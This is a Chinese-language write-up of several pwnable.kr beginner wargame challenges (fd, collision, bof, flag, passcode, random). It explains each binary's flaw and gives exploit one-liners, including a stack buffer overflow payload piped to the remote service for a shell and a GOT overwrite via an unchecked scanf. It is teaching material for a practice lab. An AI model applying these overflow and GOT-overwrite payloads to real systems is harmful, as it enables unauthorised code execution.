[Toddler’s Bottle]
fd
题目描述:
Mommy! what is a file descriptor in Linux?
try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial
link: https://www.youtube.com/watch?v=blAxTfcW9VU
ssh fd@pwnable.kr -p2222 (pw:guest)
0x00 题目分析
通过题目名称和题目描述可知,此题与Linux下文件的描述有关系。题目还给了一个ssh连接账号和密码,先连接一下看看。
知识点一 Linux系统文件描述fd(file descriptor)
0x01 查看文件及权限
再看看当前目录下有什么文件,发现了三个文件,fd、fd.c、flag,并且看到当前用户对于flag文件没有读权限。
知识点二 Linux文件权限
0x02 分析fd.c
查看fd.c内容
1 |
|
先分析一下这段代码,main()函数有三个参数
1 | ****************************main()原型******************************* |
1.要想拿到flag,执行system(“/bin/cat flag”)
2.就要使if(!strcmp(“LETMEWIN\n”, buf))的条件为真
3.那么就要使strcmp(“LETMEWIN\n”,buf)返回0,也就是buf=”LETMEWIN\n”
4.buf中的值是从fd中读出来的
5.atoi(表示 ascii to integer)是把字符串转换成整型数的一个函数
6.当argv[1]=”4660”时,fd=0.表示从键盘读入数据存放到buf中,因为在Linux系统将所有设备都当作文件来处理,当fd=0时就是把键盘当做一个文件
文件描述符 | 缩写 | 描述 |
---|---|---|
0 | STDIN | 标准输入 |
1 | STDOUT | 标准输出 |
2 | STDERR | 标准错误输出 |
1 | ****************************read()原型******************************* |
0x03 拿取flag
collision
题目描述:
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)
0x00 题目分析
由题目可知,这道题是一个与MD5哈希碰撞有关的题目。和上一道题一样,给出了SSH登录账号和密码,依旧登录一下。登陆成功,当前用户是col
0x01 查看文件权限
依旧和第一题相似,本题用户对flag文件依旧没有读取权限,当前用户目录一共有三个文件,col、col.c、flag
0x02 分析col.c
查看col.c
1 |
|
这段代码开始的时候定义了一个hashcode,有一个check_password()函数,可知要求输入一个password进行比对, 再看看主函数和上题很像,有argc和argv[]两个参数,由此可知password将在执行这段代码的时候跟在程序名称后面传入程序中。
当没有传入参数时,显示此段程序的usage1
2
3
4if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
由下面这段程序可知,输入的参数的长度为20字节时,才会执行if语句里的system(“/bin/cat flag”),输出flag1
2
3
4if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
再来看看check_password()函数,传入的参数是一个char型的字符数组,在函数里面通过int ip = (int)p将char型的字符数组转换成int型的字符数组,20个字节的字符数组就变成拥有5个元素的int型数组,通过for循环进行累加,得到的值与hashcode进行比对。
对20个字节,要构造输入的整型转换后的5个整数求和 == 0x21DD09EC,
第一个想法是:前16个字节赋\x00,最后4个字节为0xEC09DD21,但是\x09是HTab,输入会被阻断。
第二个想法:前16个字节赋\x01,最后4个字节为\xE8\x05\xD9\x1D,嗯,就这样。
0x01010101*4+0x1DD905E8=0x21DD09EC
0x03 拿取flag
1 | ./col `python -c "print '\x01' * 16 + '\xE8\x05\xD9\x1D'"` |
解释一下这段命令,在bash中,$( )与` `(反引号)都是用来作命令替换的。命令替换与变量替换差不多,都是用来重组命令行的,先完成引号里的命令行,然后将其结果替换出来,再重组成新的命令行。-c 参数,直接运行python语句,用print语句打印出构造好的20个字节。然后将输出的20个字节数据传进col,进行验证,得到flag
bof
题目描述
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
0x00 题目分析
有题目可知这是一道和缓冲区溢出
有关的题目。题目给了两个文件,先来看看两个文件的信息吧。
0x01 bof&bof.c
先用file命令查看一下bof
的文件信息
由得出的信息可以知道Linux下一个32bit的ELF文件。再查看一下bof.c
1 |
|
0x02 深入分析
- 可以看到这段程序有两个函数,一个主函数、一个func()
- 主函数调用func(),并传入了一个参数
0xdeadbeef
- func()可以看到关键的两个地方,一个是
gets(overflowme);
、一个是system("/bin/sh");
- 可以看到当
key==0xcafebabe
时,可以获得一个shell,key是调用时传进来的参数,但是传的是0xdeadbeef,相等?不存在的- 但是可以用
栈溢出
将函数调用时入栈的参数覆盖掉,让key==0xcafebabe
先用IDA打开看看吧
cmp [ebp+arg_0],0CAFEBABEh
这句对应if(key == 0xcafebabe)
,可以知道key存到了ebp+arg_0- arg_0 = dword ptr 8;故key的地址为
ebp+8
call gets
上面两句lea eax,[ebp+s]和mov [esp],eax是为了提高栈顶,为了接收gets()传进来的数据- 输入的数据从ebp+s,也就是
ebp-0x2c
开始存储。
现在用GDB调试下,停在cmp [ebp+arg_0],0CAFEBABEh
处,下图是寄存器和汇编截图
下图是栈内数据的布局:
EAX中存储的为输入数据的首地址0xffffce9c
,栈地址0xffffced0
处存储的是func()调用的时候传入的key0xdeadbeef
,现在算算0xffffced0-0xffffce9c=0x34,也就是52个字节,在后面加上0xcafebabe
就覆盖了key,成功跳转
0x03 构造并编写exp
系统只是调用了system函数,没有发现输入的话就会终止
掉,所以我们可以向它传递一个标准输入:(cat -)
1 | ⚙/pwn/pwnable.kr/bof (python -c "print 'x'*52 +'\xbe\xba\xfe\xca'")|nc pwnable.kr 9000 |
1 | (python -c "print 'x'*52 +'\xbe\xba\xfe\xca'";cat -)|nc pwnable.kr 9000 |
这里若没有cat,因为nc的单向连接时非持续性
的,那么传完payload后一个tcp会话就结束了,也就是没机会传cmd命令了,而加入cat,则让nc的这个tcp会话永不结束,直到用户输入Ctri+C。而cat又比较特殊,可以将用户输入原封不动返回并重定向给了nc…
下面是用pwntools
写的自动化攻击脚本:
1 | #!/usr/bin/env python |
下面是用zio
写的自动化攻击脚本:
1 | #!/usr/bin/env python |
flag
题目描述:
Papa brought me a packed present! let’s open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary
0x00 题目分析
题目说这是一个逆向的题目,将题目给的文件下载下来,先用IDA打开看一下
可以看到这不是一个正常的情况,结合逆向的提示,估计是被加了壳,用strings查看flag文件,在最后发现了UPX,说明被加了UPX壳
,用下面的命令进行脱壳
1 | upx -d flag -o deflag |
0x01 获取flag
然后将去壳的deflag
再用IDA打开看一下,定位到main函数,可以看到mov rdx, cs:flag
双击flag,可以定位到这样一字符串(也可以用shift+F12,查看字符串)
将这串字符串提交,通过了。可以看到这道题就是考了脱壳
的知识点。
passcode
题目描述:
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
0x00 题目分析
依旧先登录一下
可以看到当前目录下有三个文件,flag
、passcode
、passcode.c
,当然了当前用户对flag肯定是没有读写权限的,所以查看一下passcode.c
1 |
|
0x01 深入分析
- 可以看到main函数里调用了两个函数,
welcome()
和login()
- welcome和login拥有相同的
ebp
,栈帧有交叉- welcome()函数里接收了一个最大大小为100个字符的name字符串
- login()函数里接收了两个变量
passcode1
和passcode2
,并且分别与338150
和13371337
进行比较- 如果都相等,则输出flag
- 但是scanf()用的有问题,没有用&取地址符号,如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址
- 也就是说不能通过这两个scanf()突破限制,所以重任就落在了
name
的身上
先看一下name、passcode1、passcode2在栈中的位置
可以看到name在栈中的起始位置是ebp-0x70
,passcode1和passcode2在栈中的位置分别为ebp-0x10
、ebp-0x0c
,(ebp-0x70)-(ebp-0x10)=96,由于程序给name分配了100个字节的空间,所以刚好可以覆盖到passcode1,但是由于开启了canary
,所以不能再继续覆盖到passcode2,但是GOT表是可写的。因此,可以把passcode1的地址修改为fflush()或printf()或exit()的GOT表地址,然后通过scanf()传入system()的地址,将fflush()或printf()或exit()的真实地址覆盖,这样就拿到shell了。
0x02 构造payload并编写exp
这里我用system的地址覆盖fflush()
在GOT表中存的真实地址,因为scanf()以%d获取数据,所以system()的地址0x80485e3
要转化成十进制数134514147
,现在构造payload获取flag
1 | python -c "print 'A'*96+'\x04\xa0\x04\x08'+'134514147\n'" | ./passcode |
1 | #!/usr/bin/env python |
0x03 总结
这道题涉及到的知识点是GOT表是可写的,scanf()如果没有加&取地址符,就会在栈上取地址作为传入的数据的存放地址
random
题目描述:
Daddy, teach me how to use random value in programming!
ssh random@pwnable.kr -p2222 (pw:guest)
0x00 题目分析
从题目名称和题目描述可以看出,这道题和随机数
有关系,先来链接一下靶机看看
可以看到当前目录下有三个文件,flag
、random
、random.c
,现在查看一下random.c
1 |
|
0x01 深入分析
可以看到random.c
使用了stdlib.h中的rand()函数,讲到rand()函数,就要说一下srand()函数,下面先介绍一下rand()
函数和srand()
函数
1 | *****************************rand()函数******************************** |
1 | ****************************srand()函数******************************** |
我们可以看到,random.c里用了rand()
函数,但是没有对随机数种子进行设置,所以,每次运行这个程序的时候,产生的第一个随机数都是确定的。可以有好几种方法获得这个序列的第一个随机值,可以写一段代码将第一个随机数打印出来,也可以用调试器调试,看执行完rand()函数后,rax
或者eax
内的值,就是rand()函数的返回值.我用gdb查看rax的值,先在rand()函数后下一个断点,运行到断点出,可以看到rax的值如下图所示:(0x6b8b4567==1804289383)
0x02 获取flag
- 当
if((key ^ random) == 0xdeadbeef)
成立时,会将flag显示出来- random在上面已经得到了,
random=0x6b8b4567
- key是我们需要输入的,我们知道^(异或)运算是
可逆
的- 所以key=random^0xdeadbeef,
key=3039230856
0x03 总结
这道题的知识点是rand()
函数,如果未用srand()
设置随机数种子,则默认随机数种子为1,产生的随机数序列是确定的